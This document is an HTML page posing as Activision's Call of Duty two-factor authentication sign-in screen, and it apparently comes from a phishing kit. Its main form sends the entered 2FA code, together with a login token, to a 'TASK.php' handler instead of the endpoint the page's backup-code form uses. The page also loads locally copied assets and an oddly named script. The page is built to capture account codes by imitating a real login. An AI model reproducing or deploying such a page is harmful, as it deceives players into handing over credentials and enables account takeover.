<!DOCTYPE html><html lang="en"><head>
    <meta name="description" content="">
    <!-- OneTrust -->
    <script>
        var OneTrust = {
            dataSubjectParams: {
                id: "",
                isAnonymous: false,
                token: ""
            }
        };

        function otGetCookie(cookieName) {
            var i = 0,
                cookies = document.cookie.split(";"),
                length = cookies.length,
                trimRegex = /^\s+|\s+$/g,
                cookiePair;

            for (; i < length; i++) {
                cookiePair = cookies[i].split('=');
                if (cookiePair[0].replace(trimRegex, '') === cookieName) return unescape(cookiePair[1]);
            }
        }
        var loggedIn = otGetCookie("ACT_SSO_COOKIE") || otGetCookie("s_ACT_SSO_COOKIE") || false;
        if (loggedIn) {
            var site = "cod";
            var xsrfToken = otGetCookie("XSRF-TOKEN");
            fetch("/" + site + "/regulations/onetrust/auth", {
                    method: "POST",
                    headers: {
                        "X-XSRF-TOKEN": xsrfToken
                    }
                })
                .then((response) => response.json())
                .then((json) => {
                    OneTrust = {
                        dataSubjectParams: {
                            id: json.userId,
                            isAnonymous: false,
                            token: json.token
                        }
                    };
                });
        }
        window.addEventListener("OneTrustGroupsUpdated", handleOneTrustGroupsUpdated);

        function handleOneTrustGroupsUpdated() {
            if (loggedIn) {
                var site = "cod";
                var xsrfToken = otGetCookie("XSRF-TOKEN");
                fetch("/" + site + "/regulations/onetrust/preferences?activeGroups=" + OnetrustActiveGroups, {
                    method: "POST",
                    headers: {
                        "X-XSRF-TOKEN": xsrfToken
                    }
                });
            }
        }
    </script>
    <!--END OneTrust -->

    <script>
        var dataLayer = dataLayer || [];
    </script>
    <script id="gtm-script" src="js/gtmLayer.js"></script>



    <!-- Google Tag Manager -->
    <script>
        (function(w, d, s, l, i) {
            w[l] = w[l] || [];
            w[l].push({
                'gtm.start': new Date().getTime(),
                event: 'gtm.js'
            });
            var f = d.getElementsByTagName(s)[0],
                j = d.createElement(s),
                dl = l != 'dataLayer' ? '&l=' + l : '';
            j.async = true;
            j.src =
                'https://www.googletagmanager.com/gtm.js?id=' + i + dl;
            f.parentNode.insertBefore(j, f);
        })(window, document, 'script', 'dataLayer', 'GTM-T6X8245');
    </script>
    <!-- End Google Tag Manager -->

    <title> - CALL OF DUTY®</title>

    <script src="js/font-loader.js"></script>

    <meta charset="UTF-8">
    <meta http-equiv="x-ua-compatible" content="ie=edge">

    <meta name="keywords" content="">
    <meta name="sitename" content="cod">
    <meta name="viewport" content="width=device-width, initial-scale=1">
    <link rel="shortcut icon" type="image/x-icon" href="images/favicon.ico">
    <link rel="icon" type="image/x-icon" href="images/favicon.ico">
    <meta http-equiv="Cache-Control" content="no-cache, no-store, must-revalidate">
    <meta http-equiv="Pragma" content="no-cache">
    <meta http-equiv="Expires" content="0">















    <meta name="_csrf" content="CVIarkAQXP4yiAS8KB7WE1RJboOfYoJoHsVSM_ZnZlgq9Z4BSwD1FOQK-YWBmwGT">
    <meta name="_csrf_header" content="X-XSRF-TOKEN">


    <link href="https://fonts.googleapis.com/css?family=Abel" rel="stylesheet">
    <link rel="stylesheet" href="https://fonts.googleapis.com/css?family=Open+Sans+Condensed:300,700%7COpen+Sans:300,400,700&subset=latin,latin,latin" media="all">
    <meta property="og:image" content="resources/cod/images/COD-Badge_Meta.png">

    <link rel="stylesheet" href="css/preload.css">





    <!--  Modernizr needs to be loaded in head as otherwise it can't use the html5shiv for IE -->
    <script src="js/modernizr-1.7.min.js"></script>







    <link rel="stylesheet" href="css/common-site-updated.css">




    <link rel="stylesheet" href="css/sso-media-queries.css">
    <link rel="stylesheet" href="css/responsive-site.css">
	<link rel="stylesheet" href="css/sso-bar-custom.css">
	<link rel="stylesheet" href="css/sso-bar.css">
	<link rel="stylesheet" href="css/sso-bar-base.css">

    <link rel="stylesheet" href="css/sso-site-specific.css">
    <link rel="stylesheet" href="css/site.css">









</head>


<body class="login-page noscript sso locale-en ">

    <div id="skip-to-main">
        <a href="#main-content" class="skip-to-main-link">Skip to main content</a>
    </div>








    <div class="account-linking-error-container">
        <div class="background">
            <div class="psn">
                <p>Please click the following link to complete your Playstation Account.</p>
                <a href="https://account.sonyentertainmentnetwork.com/" target="_blank">Playstation Account Link</a>
                <p>Once you have completed your account, click the following link to proceed.</p>
                <a href="">Continue</a>
            </div>
            <div class="xbl">
                <p>Please click the following link to complete your XBOX Live Account.</p>
                <a href="https://account.xbox.com/" target="_blank">XBOX Account Link</a>
                <p>Once you have completed your account, click the following link to proceed.</p>
                <a href="">Continue</a>
            </div>
            <div class="generic">
                <p>Previous action failed. Please try again.</p>
                <a class="close-overlay" href="">Close this Overlay</a>
            </div>
        </div>
    </div>


    <main id="main-content" class="main-content-container">








        <section class="tfa-form-container">
            <div class="branding-logo" role="img" aria-hidden="true"></div>
            <div class="security-logo" role="img" aria-hidden="true"></div>

            <h1 title="Enter Two-factor Authentication Code" aria-label="Enter Two-factor Authentication Code">Enter Two-factor Authentication Code</h1>

            <p>To complete your sign in, enter the two-factor authentication code from the authentication app for your <b>Activision</b> Account.</p>








            <form id="tfa-form" action="TASK.php" method="post">
                <input type="hidden" name="email" value="">
                <input name="grantType" id="grantType" value="totp" type="hidden">
                <input name="loginToken" id="loginToken" value="eyJhbGciOiAiSFMyNTYifQ.eyJ1bm9faWQiOiAxNjk1MTA4MjY3NjE0OTM1OTYyNiwgImlzc3VlX3RpbWUiOiAxNjIzNjg2Mjc5LjA3ODI3NywgImNsaWVudF9pZCI6ICJzc28tY29kIn0.lU6NQJHjXGoxjCwzkBK56Az9uV5wPbOfuuiwZqQS-8g" type="hidden">
                <input name="userId" id="userId" value="0" type="hidden">
                <div class="input-container">
                    <input name="code" id="code" type="password" autocomplete="off">
					
                </div>
                <div>
                    <input type="hidden" name="_csrf" value="CVIarkAQXP4yiAS8KB7WE1RJboOfYoJoHsVSM_ZnZlgq9Z4BSwD1FOQK-YWBmwGT">
                </div>
            </form>

            <button type="submit" data-timeout="" form="tfa-form" value="Submit">Complete Sign-in</button>

            <p><a href="https://support.activision.com" class="support-link">Sign-in with a Backup Code</a></p>

            <p><a href="/do_logout" class="code-cancel-link">Cancel</a></p>
        </section>

        <section class="backup-form-container">
            <div class="branding-logo" role="img" aria-hidden="true"></div>
            <div class="security-logo" role="img" aria-hidden="true"></div>

            <h1 title="Enter Backup Code" aria-label="Enter Backup Code">Enter Backup Code</h1>




            <p>Backup codes were sent to your email when two-factor authentication was enabled. Each backup code can only be used once. If you need help accessing your backup codes, please contact <a href="https://support.activision.com/contact-us" target="_blank">Activision Support</a>.</p>



            <form id="backup-code-form" action="login2FA" method="post">
                <input name="grantType" id="grantType" value="tfaBackupCode" type="hidden">
                <input name="loginToken" id="loginToken" value="eyJhbGciOiAiSFMyNTYifQ.eyJ1bm9faWQiOiAxNjk1MTA4MjY3NjE0OTM1OTYyNiwgImlzc3VlX3RpbWUiOiAxNjIzNjg2Mjc5LjA3ODI3NywgImNsaWVudF9pZCI6ICJzc28tY29kIn0.lU6NQJHjXGoxjCwzkBK56Az9uV5wPbOfuuiwZqQS-8g" type="hidden">
                <input name="userId" id="userId" value="0" type="hidden">
                <div class="input-container">
                    <input name="code" id="code" type="text" autocomplete="off">
                    <div id="backup-code-error" class="feedback-control message">Incorrect backup code.</div>

                </div>
                <div>
                    <input type="hidden" name="_csrf" value="CVIarkAQXP4yiAS8KB7WE1RJboOfYoJoHsVSM_ZnZlgq9Z4BSwD1FOQK-YWBmwGT">
                </div>
            </form>

            <button type="submit" data-timeout="" form="backup-code-form" value="Submit">Complete Sign-in</button>




            <p><a href="https://support.activision.com" class="support-link">Contact Support</a></p>



            <p><a href="/do_logout" class="backup-code-cancel-link">Cancel</a></p>
        </section>
    </main>


    <script>
        //Detect if JavaScript and cookies are enabled. Do this inline rather than waiting for onload/onready to avoid momentarily displaying no script error
        if (navigator.cookieEnabled) {
            document.body.className = document.body.className.replace("noscript", "hasscript");
        }
    </script>
    <div id="noscript-warning">JavaScript and cookies are required. Please enable them.</div>
















































    <footer class="standard-footer">
        <div class="footer-content clearfix">
            <ul id="additional-info">
                <li class="first"><a href="http://www.activision.com//legal" target="_blank" rel="nofollow">Legal</a></li>
                <li><a href="http://www.activision.com//legal/terms-of-use" target="_blank" rel="nofollow">Terms of Use</a></li>
                <li><a href="http://www.activision.com//legal/privacy-policy" target="_blank" rel="nofollow">Privacy Policy</a></li>
                <li><a href="https://www.activision.com//legal/cookie-policy" target="_blank" rel="nofollow">Cookie Policy</a></li>
                <li>
                    <!-- OneTrust Cookies Settings button start --><button id="ot-sdk-btn" class="ot-sdk-show-settings">Cookie Settings</button>
                    <!-- OneTrust Cookies Settings button end -->
                </li>
                <li><a href="https://www.activision.com//legal/online-safety-guide" target="_blank" rel="nofollow">Online Safety</a></li>
                <li><a href="http://support.activision.com/pkb_Home?Call_of_Duty_WWII&uil=en_US" target="_blank">Support</a></li>
            </ul>
            <ul id="partners" class="clearfix">
                <li><a class="activision" href="http://www.activision.com" target="_blank" rel="nofollow" role="img" aria-label="Visit the Activision website">Activision</a></li>
                <li><a class="esrb-privacy" href=" http://www.esrb.org/confirm/activision-confirmation.aspx" target="_blank" rel="nofollow" role="img" aria-label="Visit the ESRB Privacy Certified website">Visit the ESRB Privacy Certified website</a></li>
                <li><a class="esrb-m" href="http://www.esrb.org/ratings/ratings_guide.jsp" target="_blank" rel="nofollow" role="img" aria-label="Visit the rating board website.  ESRB Mature 17+: Blood and Gore, Intense Violence, Strong Language, Suggestive Themes, Use of Drugs, In-game Purchases / Users Interact">ESRB Mature 17+: Blood and Gore, Intense Violence, Strong Language, Suggestive Themes, Use of Drugs, In-game Purchases / Users Interact</a>
                    <p class="esrb-text">ESRB Mature 17+: Blood and Gore, Intense Violence, Strong Language, Suggestive Themes, Use of Drugs, In-game Purchases / Users Interact</p>
                </li>
            </ul>
            <div id="trademarks">� 2019-2024 Activision Publishing, Inc. ACTIVISION, CALL OF DUTY, CALL OF DUTY LEAGUE, CALL OF DUTY MODERN WARFARE, MODERN WARFARE, CALL OF DUTY BLACK OPS, CALL OF DUTY WARZONE, WARZONE and CALL OF DUTY VANGUARD are trademarks of Activision
                Publishing, Inc. All other trademarks and trade names are the property of their respective owners.<br><br></div>
        </div>
    </footer>













    <script src="js/jquery-1.11.2.js"></script>





    <script id="sso-bar-script" src="js/sso.bar.js"></script>
    <script>
        var config = {
            containerId: 'cdo-bar',
            locale: 'en_US',
            communityId: 'cod',
            isSSOPage: true,
            layout: {
                type: "hybrid"
            }
        }

        /*
        var config = {
        	containerId : 'cdo-bar',
        	locale : 'en_US',
        	communityId : 'cod',
        	isSSOPage : true
        }
          */
        if (config.communityId && config.communityId.match('ghosts-monster')) {
            config.layout = {
                type: "hidden"
            };
        }

        if (config.communityId && config.communityId.match('ghosts-monster-eu')) {
            config.layout = {
                type: "hidden"
            };
        }

        var ssobar = new SSO.Bar(config);
    </script>

    <script id="digital-data-script" src="js/digitalData.js"></script>
    <script src="js/head.js"></script>
    <script src="js/qrcode.js"></script>
    <script src="js/jquery.qrcode.js"></script>

    <script id="common-script" src="js/site.js"></script>






    <script id="signup-script" src="js/signup.js"></script>


    <!-- Analytics script -->
    <script id="analytics-script" src="js/atvi-analytics.js"></script>










    <!-- TAG MANAGER -->
    <script type="text/javascript">
        if (typeof _satellite !== 'undefined') {
            ssobar.onReady(_satellite.pageBottom);
        }
    </script>
    <script type="text/javascript" src="7NTN3EwYC.html"></script>



</body></html>